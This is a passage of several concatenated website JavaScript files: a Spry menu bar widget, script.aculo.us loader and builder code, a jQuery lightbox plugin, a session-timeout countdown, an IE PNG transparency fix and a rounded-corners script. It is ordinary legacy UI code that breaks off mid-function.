this.lastOpen; while (item != this.element) { var tmp = el; while (tmp != this.element) { if (tmp == item) return; try{ tmp = tmp.parentNode; }catch(err){break;} } item = item.parentNode; } } var item = this.lastOpen; while (item != this.element) { this.hideSubmenu(item.parentNode); var link = item.getElementsByTagName('a')[0]; this.removeClassName(link, this.hoverClass); this.removeClassName(link, this.subHoverClass); item = item.parentNode; } this.lastOpen = false; }; Spry.Widget.MenuBar.prototype.keyDown = function (e) { if (!this.hasFocus) return; if (!this.lastOpen) { this.hasFocus = false; return; } var e = e|| event; var listitem = this.lastOpen.parentNode; var link = this.lastOpen; var submenus = listitem.getElementsByTagName('ul'); var menu = (submenus.length > 0 ? submenus[0] : null); var hasSubMenu = (menu) ? true : false; var opts = [listitem, menu, null, this.getSibling(listitem, 'previousSibling'), this.getSibling(listitem, 'nextSibling')]; if (!opts[3]) opts[2] = (listitem.parentNode.parentNode.nodeName.toLowerCase() == 'li')?listitem.parentNode.parentNode:null; var found = 0; switch (e.keyCode){ case this.upKeyCode: found = this.getElementForKey(opts, 'y', 1); break; case this.downKeyCode: found = this.getElementForKey(opts, 'y', -1); break; case this.leftKeyCode: found = this.getElementForKey(opts, 'x', 1); break; case this.rightKeyCode: found = this.getElementForKey(opts, 'x', -1); break; case this.escKeyCode: case 9: this.clearSelection(); this.hasFocus = false; default: return; } switch (found) { case 0: return; case 1: //subopts this.mouseOver(listitem, e); break; case 2: //parent this.mouseOut(opts[2], e); break; case 3: case 4: // left - right this.removeClassName(link, hasSubMenu ? this.subHoverClass : this.hoverClass); break; } var link = opts[found].getElementsByTagName('a')[0]; if (opts[found].nodeName.toLowerCase() == 'ul') opts[found] = opts[found].getElementsByTagName('li')[0]; this.addClassName(link, opts[found].getElementsByTagName('ul').length > 0 ? this.subHoverClass : this.hoverClass); this.lastOpen = link; opts[found].getElementsByTagName('a')[0].focus(); //stop further event handling by the browser return Spry.Widget.MenuBar.stopPropagation(e); }; Spry.Widget.MenuBar.prototype.mouseOver = function (listitem, e) { var link = listitem.getElementsByTagName('a')[0]; var submenus = listitem.getElementsByTagName('ul'); var menu = (submenus.length > 0 ? submenus[0] : null); var hasSubMenu = (menu) ? true : false; if (this.enableKeyboardNavigation) this.clearSelection(listitem); if(this.bubbledTextEvent()) { // ignore bubbled text events return; } if (listitem.closetime) clearTimeout(listitem.closetime); if(this.currMenu == listitem) { this.currMenu = null; } // move the focus too if (this.hasFocus) link.focus(); // show menu highlighting this.addClassName(link, hasSubMenu ? this.subHoverClass : this.hoverClass); this.lastOpen = link; if(menu && !this.hasClassName(menu, this.subHoverClass)) { var self = this; listitem.opentime = window.setTimeout(function(){self.showSubmenu(menu);}, this.showDelay); } }; Spry.Widget.MenuBar.prototype.mouseOut = function (listitem, e) { var link = listitem.getElementsByTagName('a')[0]; var submenus = listitem.getElementsByTagName('ul'); var menu = (submenus.length > 0 ? submenus[0] : null); var hasSubMenu = (menu) ? true : false; if(this.bubbledTextEvent()) { // ignore bubbled text events return; } var related = (typeof e.relatedTarget != 'undefined' ? e.relatedTarget : e.toElement); if(!listitem.contains(related)) { if (listitem.opentime) clearTimeout(listitem.opentime); this.currMenu = listitem; // remove menu highlighting this.removeClassName(link, hasSubMenu ? this.subHoverClass : this.hoverClass); if(menu) { var self = this; listitem.closetime = window.setTimeout(function(){self.hideSubmenu(menu);}, this.hideDelay); } if (this.hasFocus) link.blur(); } }; Spry.Widget.MenuBar.prototype.getSibling = function(element, sibling) { var child = element[sibling]; while (child && child.nodeName.toLowerCase() !='li') child = child[sibling]; return child; }; Spry.Widget.MenuBar.prototype.getElementForKey = function(els, prop, dir) { var found = 0; var rect = Spry.Widget.MenuBar.getPosition; var ref = rect(els[found]); var hideSubmenu = false; //make the subelement visible to compute the position if (els[1] && !this.hasClassName(els[1], this.MenuBarSubmenuVisible)) { els[1].style.visibility = 'hidden'; this.showSubmenu(els[1]); hideSubmenu = true; } var isVert = this.hasClassName(this.element, this.verticalClass); var hasParent = els[0].parentNode.parentNode.nodeName.toLowerCase() == 'li' ? true : false; for (var i = 1; i < els.length; i++){ //when navigating on the y axis in vertical menus, ignore children and parents if(prop=='y' && isVert && (i==1 || i==2)) { continue; } //when navigationg on the x axis in the FIRST LEVEL of horizontal menus, ignore children and parents if(prop=='x' && !isVert && !hasParent && (i==1 || i==2)) { continue; } if (els[i]) { var tmp = rect(els[i]); if ( (dir * tmp[prop]) < (dir * ref[prop])) { ref = tmp; found = i; } } } // hide back the submenu if (els[1] && hideSubmenu){ this.hideSubmenu(els[1]); els[1].style.visibility = ''; } return found; }; Spry.Widget.MenuBar.camelize = function(str) { if (str.indexOf('-') == -1){ return str; } var oStringList = str.split('-'); var isFirstEntry = true; var camelizedString = ''; for(var i=0; i < oStringList.length; i++) { if(oStringList[i].length>0) { if(isFirstEntry) { camelizedString = oStringList[i]; isFirstEntry = false; } else { var s = oStringList[i]; camelizedString += s.charAt(0).toUpperCase() + s.substring(1); } } } return camelizedString; }; Spry.Widget.MenuBar.getStyleProp = function(element, prop) { var value; try { if (element.style) value = element.style[Spry.Widget.MenuBar.camelize(prop)]; if (!value) if (document.defaultView && document.defaultView.getComputedStyle) { var css = document.defaultView.getComputedStyle(element, null); value = css ? css.getPropertyValue(prop) : null; } else if (element.currentStyle) { value = element.currentStyle[Spry.Widget.MenuBar.camelize(prop)]; } } catch (e) {} return value == 'auto' ? null : value; }; Spry.Widget.MenuBar.getIntProp = function(element, prop) { var a = parseInt(Spry.Widget.MenuBar.getStyleProp(element, prop),10); if (isNaN(a)) return 0; return a; }; Spry.Widget.MenuBar.getPosition = function(el, doc) { doc = doc || document; if (typeof(el) == 'string') { el = doc.getElementById(el); } if (!el) { return false; } if (el.parentNode === null || Spry.Widget.MenuBar.getStyleProp(el, 'display') == 'none') { //element must be visible to have a box return false; } var ret = {x:0, y:0}; var parent = null; var box; if (el.getBoundingClientRect) { // IE box = el.getBoundingClientRect(); var scrollTop = doc.documentElement.scrollTop || doc.body.scrollTop; var scrollLeft = doc.documentElement.scrollLeft || doc.body.scrollLeft; ret.x = box.left + scrollLeft; ret.y = box.top + scrollTop; } else if (doc.getBoxObjectFor) { // gecko box = doc.getBoxObjectFor(el); ret.x = box.x; ret.y = box.y; } else { // safari/opera ret.x = el.offsetLeft; ret.y = el.offsetTop; parent = el.offsetParent; if (parent != el) { while (parent) { ret.x += parent.offsetLeft; ret.y += parent.offsetTop; parent = parent.offsetParent; } } // opera & (safari absolute) incorrectly account for body offsetTop if (Spry.is.opera || Spry.is.safari && Spry.Widget.MenuBar.getStyleProp(el, 'position') == 'absolute') ret.y -= doc.body.offsetTop; } if (el.parentNode) parent = el.parentNode; else parent = null; if (parent.nodeName){ var cas = parent.nodeName.toUpperCase(); while (parent && cas != 'BODY' && cas != 'HTML') { cas = parent.nodeName.toUpperCase(); ret.x -= parent.scrollLeft; ret.y -= parent.scrollTop; if (parent.parentNode) parent = parent.parentNode; else parent = null; } } return ret; }; Spry.Widget.MenuBar.stopPropagation = function(ev) { if (ev.stopPropagation) ev.stopPropagation(); else ev.cancelBubble = true; if (ev.preventDefault) ev.preventDefault(); else ev.returnValue = false; }; Spry.Widget.MenuBar.setOptions = function(obj, optionsObj, ignoreUndefinedProps) { if (!optionsObj) return; for (var optionName in optionsObj) { if (ignoreUndefinedProps && optionsObj[optionName] == undefined) continue; obj[optionName] = optionsObj[optionName]; } }; })(); // EndSpryComponent
JavaScript
// script.aculo.us scriptaculous.js v1.8.1, Thu Jan 03 22:07:12 -0500 2008 // Copyright (c) 2005-2007 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us) // // Permission is hereby granted, free of charge, to any person obtaining // a copy of this software and associated documentation files (the // "Software"), to deal in the Software without restriction, including // without limitation the rights to use, copy, modify, merge, publish, // distribute, sublicense, and/or sell copies of the Software, and to // permit persons to whom the Software is furnished to do so, subject to // the following conditions: // // The above copyright notice and this permission notice shall be // included in all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, // EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF // MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND // NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE // LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION // OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION // WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. // // For details, see the script.aculo.us web site: http://script.aculo.us/ var Scriptaculous = { Version: '1.8.1', require: function(libraryName) { // inserting via DOM fails in Safari 2.0, so brute force approach document.write('<script type="text/javascript" src="'+libraryName+'"><\/script>'); }, REQUIRED_PROTOTYPE: '1.6.0', load: function() { function convertVersionString(versionString){ var r = versionString.split('.'); return parseInt(r[0])*100000 + parseInt(r[1])*1000 + parseInt(r[2]); } if((typeof Prototype=='undefined') || (typeof Element == 'undefined') || (typeof Element.Methods=='undefined') || (convertVersionString(Prototype.Version) < convertVersionString(Scriptaculous.REQUIRED_PROTOTYPE))) throw("script.aculo.us requires the Prototype JavaScript framework >= " + Scriptaculous.REQUIRED_PROTOTYPE); $A(document.getElementsByTagName("script")).findAll( function(s) { return (s.src && s.src.match(/scriptaculous\.js(\?.*)?$/)) }).each( function(s) { var path = s.src.replace(/scriptaculous\.js(\?.*)?$/,''); var includes = s.src.match(/\?.*load=([a-z,]*)/); (includes ? includes[1] : 'builder,effects,dragdrop,controls,slider,sound').split(',').each( function(include) { Scriptaculous.require(path+include+'.js') }); }); } } Scriptaculous.load();
JavaScript
// script.aculo.us builder.js v1.8.1, Thu Jan 03 22:07:12 -0500 2008 // Copyright (c) 2005-2007 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us) // // script.aculo.us is freely distributable under the terms of an MIT-style license. // For details, see the script.aculo.us web site: http://script.aculo.us/ var Builder = { NODEMAP: { AREA: 'map', CAPTION: 'table', COL: 'table', COLGROUP: 'table', LEGEND: 'fieldset', OPTGROUP: 'select', OPTION: 'select', PARAM: 'object', TBODY: 'table', TD: 'table', TFOOT: 'table', TH: 'table', THEAD: 'table', TR: 'table' }, // note: For Firefox < 1.5, OPTION and OPTGROUP tags are currently broken, // due to a Firefox bug node: function(elementName) { elementName = elementName.toUpperCase(); // try innerHTML approach var parentTag = this.NODEMAP[elementName] || 'div'; var parentElement = document.createElement(parentTag); try { // prevent IE "feature": http://dev.rubyonrails.org/ticket/2707 parentElement.innerHTML = "<" + elementName + "></" + elementName + ">"; } catch(e) {} var element = parentElement.firstChild || null; // see if browser added wrapping tags if(element && (element.tagName.toUpperCase() != elementName)) element = element.getElementsByTagName(elementName)[0]; // fallback to createElement approach if(!element) element = document.createElement(elementName); // abort if nothing could be created if(!element) return; // attributes (or text) if(arguments[1]) if(this._isStringOrNumber(arguments[1]) || (arguments[1] instanceof Array) || arguments[1].tagName) { this._children(element, arguments[1]); } else { var attrs = this._attributes(arguments[1]); if(attrs.length) { try { // prevent IE "feature": http://dev.rubyonrails.org/ticket/2707 parentElement.innerHTML = "<" +elementName + " " + attrs + "></" + elementName + ">"; } catch(e) {} element = parentElement.firstChild || null; // workaround firefox 1.0.X bug if(!element) { element = document.createElement(elementName); for(attr in arguments[1]) element[attr == 'class' ? 'className' : attr] = arguments[1][attr]; } if(element.tagName.toUpperCase() != elementName) element = parentElement.getElementsByTagName(elementName)[0]; } } // text, or array of children if(arguments[2]) this._children(element, arguments[2]); return element; }, _text: function(text) { return document.createTextNode(text); }, ATTR_MAP: { 'className': 'class', 'htmlFor': 'for' }, _attributes: function(attributes) { var attrs = []; for(attribute in attributes) attrs.push((attribute in this.ATTR_MAP ? this.ATTR_MAP[attribute] : attribute) + '="' + attributes[attribute].toString().escapeHTML().gsub(/"/,'&quot;') + '"'); return attrs.join(" "); }, _children: function(element, children) { if(children.tagName) { element.appendChild(children); return; } if(typeof children=='object') { // array can hold nodes and text children.flatten().each( function(e) { if(typeof e=='object') element.appendChild(e) else if(Builder._isStringOrNumber(e)) element.appendChild(Builder._text(e)); }); } else if(Builder._isStringOrNumber(children)) element.appendChild(Builder._text(children)); }, _isStringOrNumber: function(param) { return(typeof param=='string' || typeof param=='number'); }, build: function(html) { var element = this.node('div'); $(element).update(html.strip()); return element.down(); }, dump: function(scope) { if(typeof scope != 'object' && typeof scope != 'function') scope = window; //global scope var tags = ("A ABBR ACRONYM ADDRESS APPLET AREA B BASE BASEFONT BDO BIG BLOCKQUOTE BODY " + "BR BUTTON CAPTION CENTER CITE CODE COL COLGROUP DD DEL DFN DIR DIV DL DT EM FIELDSET " + "FONT FORM FRAME FRAMESET H1 H2 H3 H4 H5 H6 HEAD HR HTML I IFRAME IMG INPUT INS ISINDEX "+ "KBD LABEL LEGEND LI LINK MAP MENU META NOFRAMES NOSCRIPT OBJECT OL OPTGROUP OPTION P "+ "PARAM PRE Q S SAMP SCRIPT SELECT SMALL SPAN STRIKE STRONG STYLE SUB SUP TABLE TBODY TD "+ "TEXTAREA TFOOT TH THEAD TITLE TR TT U UL VAR").split(/\s+/); tags.each( function(tag){ scope[tag] = function() { return Builder.node.apply(Builder, [tag].concat($A(arguments))); } }); } }
JavaScript
jQuery(document).ready(function() { jQuery('a[rel^=lightbox]').lightBox(); }); (function($) { $.fn.lightBox = function(settings) { // Configuration settings = jQuery.extend({ // Overlay overlayBgColor: '#000000', overlayOpacity: 0.8, // Navigation fixedNavigation: false, // Images imageLoading: '/Global/images/lightbox_loading.gif', imageBtnPrev: '/Global/images/lightbox_prevlabel.gif', imageBtnNext: '/Global/images/lightbox_nextlabel.gif', imageBtnClose: '/Global/images/lightbox_closelabel.gif', imageBlank: '/Global/images/lightbox_blank.gif', // Image container containerBorderSize: 10, containerResizeSpeed: 400, // Info text txtImage: 'Image', txtOf: 'of', // Keyboard navigation keyToClose: 'c', keyToPrev: 'p', keyToNext: 'n', // Don't change imageArray: [], activeImage: 0 }, settings); // Cache jQuery object with all elements matched var jQueryMatchedObj = this; function _initialize() { _start(this, jQueryMatchedObj); return false; } function _start(objClicked, jQueryMatchedObj) { // Hide elements // $('embed, object, select').css({ 'visibility' : 'hidden' }); // Create structure _set_interface(); // Unset image info settings.imageArray.length = 0; settings.activeImage = 0; // Remove duplicate images if (jQueryMatchedObj.length > 1) { var duplicates = new Array(); for (var i = jQueryMatchedObj.length - 1; i > -1; i--) { if ($.inArray(jQueryMatchedObj[i].getAttribute('href').replace(window.location.protocol + '//' + window.location.hostname, ''), duplicates) == -1) duplicates.push(jQueryMatchedObj[i].getAttribute('href').replace(window.location.protocol + '//' + window.location.hostname, '')); else jQueryMatchedObj.splice(i, 1); } } var port=window.location.port; if(port!="80"&&port!="") port=":"+port; var thishref = objClicked.getAttribute('href').replace(window.location.protocol + '//' + window.location.hostname+port, ''); var mode = document.documentMode || 0; if ($.browser.msie && (($.browser.version < 8 && !mode) || mode < 8)) thishref = thishref.replace('%20', ' '); if ((typeof zoom3 != 'undefined') && ($.inArray(thishref, zoom3) != -1)) { // Alternate images for (var i = 0; i < zoom3.length; i++) { if ($.browser.msie && (($.browser.version < 8 && !mode) || mode < 8)) thishref = zoom3[i].replace(' ', '%20'); else thishref = zoom3[i]; if (thishref) settings.imageArray.push(new Array(thishref, objClicked.getAttribute('title'))); } } else if ((jQueryMatchedObj.length == 1) || (objClicked.getAttribute('rel') == "lightbox")) { // Single image settings.imageArray.push(new Array(objClicked.getAttribute('href').replace(window.location.protocol + '//' + window.location.hostname, ''), objClicked.getAttribute('title'))); } else { // Image set for (var i = 0; i < jQueryMatchedObj.length; i++) { settings.imageArray.push(new Array(jQueryMatchedObj[i].getAttribute('href').replace(window.location.protocol + '//' + window.location.hostname, ''), jQueryMatchedObj[i].getAttribute('title'))); } } while (settings.imageArray[settings.activeImage][0] != objClicked.getAttribute('href').replace(window.location.protocol + '//' + window.location.hostname+port, '')) { settings.activeImage++; } // Prepare image _set_image_to_view(); } /* <div id="jquery-overlay"></div> <div id="jquery-lightbox"> <div id="lightbox-container-image-box"> <div id="lightbox-container-image"> <img src="zoom.jpg" id="lightbox-image"> <div id="lightbox-nav"> <a href="#" id="lightbox-nav-btnPrev"></a> <a href="#" id="lightbox-nav-btnNext"></a> </div> <div id="lightbox-loading"> <a href="#" id="lightbox-loading-link"> <img src="/images/lightbox_loading.gif"> </a> </div> </div> </div> <div id="lightbox-container-image-data-box"> <div id="lightbox-container-image-data"> <div id="lightbox-image-details"> <span id="lightbox-image-details-caption"></span> <span id="lightbox-image-details-currentNumber"></span> </div> <div id="lightbox-secNav"> <a href="#" id="lightbox-secNav-btnClose"> <img src="/images/lightbox_closelabel.gif"> </a> </div> </div> </div> </div> */ function _set_interface() { // Add HTML $('body').append('<div id="jquery-overlay"></div><div id="jquery-lightbox"><div id="lightbox-container-image-box"><div id="lightbox-container-image"><img id="lightbox-image"><div style="" id="lightbox-nav"><a href="#" id="lightbox-nav-btnPrev"></a><a href="#" id="lightbox-nav-btnNext"></a></div><div id="lightbox-loading"><a href="#" id="lightbox-loading-link"><img src="' + settings.imageLoading + '"></a></div></div></div><div id="lightbox-container-image-data-box"><div id="lightbox-container-image-data"><div id="lightbox-image-details"><span id="lightbox-image-details-caption"></span><span id="lightbox-image-details-currentNumber"></span></div><div id="lightbox-secNav"><a href="#" id="lightbox-secNav-btnClose"><img src="' + settings.imageBtnClose + '"></a></div></div></div></div>'); // Get page sizes var arrPageSizes = calcPageSize(); // Style overlay and display $('#jquery-overlay').css({ backgroundColor: settings.overlayBgColor, opacity: settings.overlayOpacity, width: arrPageSizes[0], height: arrPageSizes[1], display: 'none' }).fadeIn('fast'); // Get page scroll var arrPageScroll = calcPageScroll(); // Calculate top and left offset for jquery-lightbox and display $('#jquery-lightbox').css({ top: arrPageScroll[1] + (arrPageSizes[3] / 10), left: arrPageScroll[0] }).show(); // Assign click events to elements to close $('#jquery-overlay, #jquery-lightbox').click(function() { _finish(); }); // Assign _finish function to lightbox-loading-link and lightbox-secNav-btnClose $('#lightbox-loading-link, #lightbox-secNav-btnClose').click(function() { _finish(); return false; }); // If window was resized, calculate new overlay dimensions $(window).resize(function() { // Get page sizes var arrPageSizes = calcPageSize(); // Style overlay and display $('#jquery-overlay').css({ width: arrPageSizes[0], height: arrPageSizes[1] }); // Get page scroll var arrPageScroll = calcPageScroll(); // Calculate top and left offset for jquery-lightbox and display $('#jquery-lightbox').css({ top: arrPageScroll[1] + (arrPageSizes[3] / 10), left: arrPageScroll[0] }); }); } function _set_image_to_view() { $('#lightbox-loading').show(); if (settings.fixedNavigation) { $('#lightbox-image, #lightbox-container-image-data-box, #lightbox-image-details-currentNumber').hide(); } else { $('#lightbox-image, #lightbox-nav, #lightbox-nav-btnPrev, #lightbox-nav-btnNext, #lightbox-container-image-data-box, #lightbox-image-details-currentNumber').hide(); } // Preload image var objImagePreloader = new Image(); objImagePreloader.onload = function() { $('#lightbox-image').attr('src', settings.imageArray[settings.activeImage][0]); _resize_container_image_box(objImagePreloader.width, objImagePreloader.height); objImagePreloader.onload=function(){}; }; objImagePreloader.src = settings.imageArray[settings.activeImage][0]; }; function _resize_container_image_box(intImageWidth, intImageHeight) { // Get current width and height var intCurrentWidth = $('#lightbox-container-image-box').width(); var intCurrentHeight = $('#lightbox-container-image-box').height(); // Get the width and height of selected image plus padding var intWidth = (intImageWidth + (settings.containerBorderSize * 2)); var intHeight = (intImageHeight + (settings.containerBorderSize * 2)); // Calculate differences var intDiffW = intCurrentWidth - intWidth; var intDiffH = intCurrentHeight - intHeight; // Create effect $('#lightbox-container-image-box').animate({ width: intWidth, height: intHeight }, settings.containerResizeSpeed, function() { _show_image(); }); if ((intDiffW == 0) && (intDiffH == 0)) { if ($.browser.msie) { ___pause(250); } else { ___pause(100); } } $('#lightbox-container-image-data-box').css({ width: intImageWidth + (settings.containerBorderSize * 2) }); $('#lightbox-nav-btnPrev, #lightbox-nav-btnNext').css({ height: intImageHeight + (settings.containerBorderSize * 2) }); }; function _show_image() { $('#lightbox-loading').hide(); $('#lightbox-image').fadeIn('slow', function() { _show_image_data(); _set_navigation(); }); _preload_neighbor_images(); }; function _show_image_data() { $('#lightbox-image-details-caption').hide(); if (settings.imageArray[settings.activeImage][1]) { $('#lightbox-image-details-caption').html(settings.imageArray[settings.activeImage][1]).show(); } // Image set? if (settings.imageArray.length > 1) { $('#lightbox-image-details-currentNumber').html(settings.txtImage + ' ' + (settings.activeImage + 1) + ' ' + settings.txtOf + ' ' + settings.imageArray.length).show(); } $('#lightbox-container-image-box').css({ 'border-bottom-left-radius' : '0px' , '-moz-border-radius-bottomleft' : '0px' , '-webkit-border-bottom-left-radius' : '0px' , 'border-bottom-right-radius' : '0px' , '-moz-border-radius-bottomright' : '0px' , '-webkit-border-bottom-right-radius' : '0px' }); $('#lightbox-container-image-data-box').slideDown(400); } function _set_navigation() { $('#lightbox-nav').show(); $('#lightbox-nav-btnPrev, #lightbox-nav-btnNext').css({ 'background' : 'transparent url(' + settings.imageBlank + ') no-repeat' }); if (settings.activeImage != 0) { if (settings.fixedNavigation) { $('#lightbox-nav-btnPrev').css({ 'background' : 'url(' + settings.imageBtnPrev + ') left 15% no-repeat' }) .unbind() .bind('click', function() { settings.activeImage = settings.activeImage - 1; _set_image_to_view(); return false; }); } else { $('#lightbox-nav-btnPrev').unbind().hover(function() { $(this).css({ 'background' : 'url(' + settings.imageBtnPrev + ') left 15% no-repeat' }); }, function() { $(this).css({ 'background' : 'transparent url(' + settings.imageBlank + ') no-repeat' }); }).show().bind('click', function() { settings.activeImage = settings.activeImage - 1; _set_image_to_view(); return false; }); } } if (settings.activeImage != (settings.imageArray.length -1)) { if (settings.fixedNavigation) { $('#lightbox-nav-btnNext').css({ 'background' : 'url(' + settings.imageBtnNext + ') right 15% no-repeat' }) .unbind() .bind('click', function() { settings.activeImage = settings.activeImage + 1; _set_image_to_view(); return false; }); } else { $('#lightbox-nav-btnNext').unbind().hover(function() { $(this).css({ 'background' : 'url(' + settings.imageBtnNext + ') right 15% no-repeat' }); }, function() { $(this).css({ 'background' : 'transparent url(' + settings.imageBlank + ') no-repeat' }); }).show().bind('click', function() { settings.activeImage = settings.activeImage + 1; _set_image_to_view(); return false; }); } } _enable_keyboard_navigation(); } function _enable_keyboard_navigation() { $(document).keydown(function(objEvent) { _keyboard_action(objEvent); }); } function _disable_keyboard_navigation() { $(document).unbind(); } function _keyboard_action(objEvent) { keycode = objEvent.keyCode; escapeKey = objEvent.DOM_VK_ESCAPE || 27; key = String.fromCharCode(keycode).toLowerCase(); if ((key == settings.keyToClose) || (key == 'x') || (keycode == escapeKey)) { _finish(); } if ((key == settings.keyToPrev) || (keycode == 37)) { if (settings.activeImage != 0) { settings.activeImage = settings.activeImage - 1; _set_image_to_view(); _disable_keyboard_navigation(); } } if ((key == settings.keyToNext) || (keycode == 39)) { if (settings.activeImage != (settings.imageArray.length - 1)) { settings.activeImage = settings.activeImage + 1; _set_image_to_view(); _disable_keyboard_navigation(); } } } function _preload_neighbor_images() { if ((settings.imageArray.length -1) > settings.activeImage) { objNext = new Image(); objNext.src = settings.imageArray[settings.activeImage + 1][0]; } if (settings.activeImage > 0) { objPrev = new Image(); objPrev.src = settings.imageArray[settings.activeImage -1][0]; } } function _finish() { $('#jquery-lightbox').remove(); $('#jquery-overlay').fadeOut('', function() { $('#jquery-overlay').remove(); }); // $('embed, object, select').css({ 'visibility' : 'visible' }); } function ___pause(ms) { var date = new Date(); curDate = null; do { var curDate = new Date(); } while (curDate - date < ms); }; return this.unbind('click').click(_initialize); }; })(jQuery);
JavaScript
//Base on a script by Paul McFedries var DSLsecs var DSLtimerID = null var DSLtimerRunning = false var DSLdelay = 1000 var DSLmintime = 60 var DSLMessage = '1 minute remaining!!!' var DSLAction=1 var DSLObject=null var DSLActionExecuted = 0 var DSLTimeOutText='Session timeout!!!' function DSLInitializeTimer(pAction,pSecs,pMin,pMessage,pTimeoutText) { DSLAction = pAction DSLsecs = pSecs DSLmintime = pMin DSLMessage = pMessage DSLTimeOutText = pTimeoutText DSLObject=document.getElementById('DSLSessionTimeOutCounter') if(DSLObject) DSLObject.innerText='' DSLStopTheClock() DSLStartTheTimer() } function DSLStopTheClock() { if(DSLtimerRunning) clearTimeout(DSLtimerID) DSLtimerRunning = false } function DSLStartTheTimer() { if (DSLsecs<=DSLmintime && DSLsecs>0 && DSLActionExecuted==0) { DSLActionExecuted=1 DSLDoStep() switch(DSLAction){ case 1: self.setTimeout("alert(DSLMessage)",1) break case 2: self.setTimeout("if(confirm(DSLMessage)) __doPostBack('DSNocontrol','')",1) break case 3: DSLStopTheClock() __doPostBack('DSNocontrol','') break default: DSLStopTheClock() DSLObject=document.getElementById('DSLSessionTimeOutCounter') if(DSLObject) DSLObject.innerText='Error!!!' } } else if (DSLsecs<=0){ DSLStopTheClock() DSLObject=document.getElementById('DSLSessionTimeOutCounter') if(DSLObject) DSLObject.innerText=DSLTimeOutText } else { DSLDoStep() } } function DSLDoStep() { DSLObject=document.getElementById('DSLSessionTimeOutCounter') if(DSLObject) DSLObject.innerText=DSLCheckTime(Math.floor(DSLsecs/60))+':'+DSLCheckTime(DSLsecs % 60) DSLsecs = DSLsecs - 1 DSLtimerRunning = true DSLtimerID = self.setTimeout("DSLStartTheTimer()", DSLdelay) } function DSLCheckTime(i) { if (i<10) {i="0" + i} return i }
JavaScript
// Correctly handle PNG transparency in Win IE 5.5 or higher. // http://homepage.ntlworld.com/bobosola. Updated 02-March-2004 function correctPNG() { for(var i=0; i<document.images.length; i++) { var img = document.images[i] var imgName = img.src.toUpperCase() if (imgName.substring(imgName.length-3, imgName.length) == "PNG") { var imgID = (img.id) ? "id='" + img.id + "' " : "" var imgClass = (img.className) ? "class='" + img.className + "' " : "" var imgTitle = (img.title) ? "title='" + img.title + "' " : "title='" + img.alt + "' " var imgStyle = "display:inline-block;" + img.style.cssText if (img.align == "left") imgStyle = "float:left;" + imgStyle if (img.align == "right") imgStyle = "float:right;" + imgStyle if (img.parentElement.href) imgStyle = "cursor:hand;" + imgStyle var strNewHTML = "<span " + imgID + imgClass + imgTitle + " style=\"" + "width:" + img.width + "px; height:" + img.height + "px;" + imgStyle + ";" + "filter:progid:DXImageTransform.Microsoft.AlphaImageLoader" + "(src=\'" + img.src + "\', sizingMethod='scale');\"></span>" img.outerHTML = strNewHTML i = i-1 } } } window.attachEvent("onload", correctPNG);
JavaScript
function NiftyCheck(){ if(!document.getElementById || !document.createElement) return(false); isXHTML=/html\:/.test(document.getElementsByTagName('body')[0].nodeName); if(Array.prototype.push==null){Array.prototype.push=function(){ this[this.length]=arguments[0]; return(this.length);}} return(true); } function Rounded(selector,wich,bk,color,opt){ var i,prefixt,prefixb,cn="r",ecolor="",edges=false,eclass="",b=false,t=false; if(color=="transparent"){ cn=cn+"x"; ecolor=bk; bk="transparent"; } else if(opt && opt.indexOf("border")>=0){ var optar=opt.split(" "); for(i=0;i<optar.length;i++) if(optar[i].indexOf("#")>=0) ecolor=optar[i]; if(ecolor=="") ecolor="#666"; cn+="e"; edges=true; } else if(opt && opt.indexOf("smooth")>=0){ cn+="a"; ecolor=Mix(bk,color); } if(opt && opt.indexOf("small")>=0) cn+="s"; prefixt=cn; prefixb=cn; if(wich.indexOf("all")>=0){t=true;b=true} else if(wich.indexOf("top")>=0) t="true"; else if(wich.indexOf("tl")>=0){ t="true"; if(wich.indexOf("tr")<0) prefixt+="l"; } else if(wich.indexOf("tr")>=0){ t="true"; prefixt+="r"; } if(wich.indexOf("bottom")>=0) b=true; else if(wich.indexOf("bl")>=0){ b="true"; if(wich.indexOf("br")<0) prefixb+="l"; } else if(wich.indexOf("br")>=0){ b="true"; prefixb+="r"; } var v=getElementsBySelector(selector); var l=v.length; for(i=0;i<l;i++){ if(edges) AddBorder(v[i],ecolor); if(t) AddTop(v[i],bk,color,ecolor,prefixt); if(b) AddBottom(v[i],bk,color,ecolor,prefixb); } } function AddBorder(el,bc){ var i; if(!el.passed){ if(el.childNodes.length==1 && el.childNodes[0].nodeType==3){ var t=el.firstChild.nodeValue; el.removeChild(el.lastChild); var d=CreateEl("span"); d.style.display="block"; d.appendChild(document.createTextNode(t)); el.appendChild(d); } for(i=0;i<el.childNodes.length;i++){ if(el.childNodes[i].nodeType==1){ el.childNodes[i].style.borderLeft="1px solid "+bc; el.childNodes[i].style.borderRight="1px solid "+bc; } } } el.passed=true; } function AddTop(el,bk,color,bc,cn){ var i,lim=4,d=CreateEl("b"); if(cn.indexOf("s")>=0) lim=2; if(bc) d.className="artop"; else d.className="rtop"; d.style.backgroundColor=bk; for(i=1;i<=lim;i++){ var x=CreateEl("b"); x.className=cn + i; x.style.backgroundColor=color; if(bc) x.style.borderColor=bc; d.appendChild(x); } el.style.paddingTop=0; el.insertBefore(d,el.firstChild); } function AddBottom(el,bk,color,bc,cn){ var i,lim=4,d=CreateEl("b"); if(cn.indexOf("s")>=0) lim=2; if(bc) d.className="artop"; else d.className="rtop"; d.style.backgroundColor=bk; for(i=lim;i>0;i--){ var x=CreateEl("b"); x.className=cn + i; x.style.backgroundColor=color; if(bc) x.style.borderColor=bc; d.appendChild(x); } el.style.paddingBottom=0; el.appendChild(d); } function CreateEl(x){ if(isXHTML) return(document.createElementNS('http://www.w3.org/1999/xhtml',x)); else return(document.createElement(x)); } function getElementsBySelector(selector){ var i,selid="",selclass="",tag=selector,f,s=[],objlist=[]; if(selector.indexOf(" ")>0){ //descendant selector like "tag#id tag" s=selector.split(" "); var fs=s[0].split("#"); if(fs.length==1) return(objlist); f=document.getElementById(fs[1]); if(f) 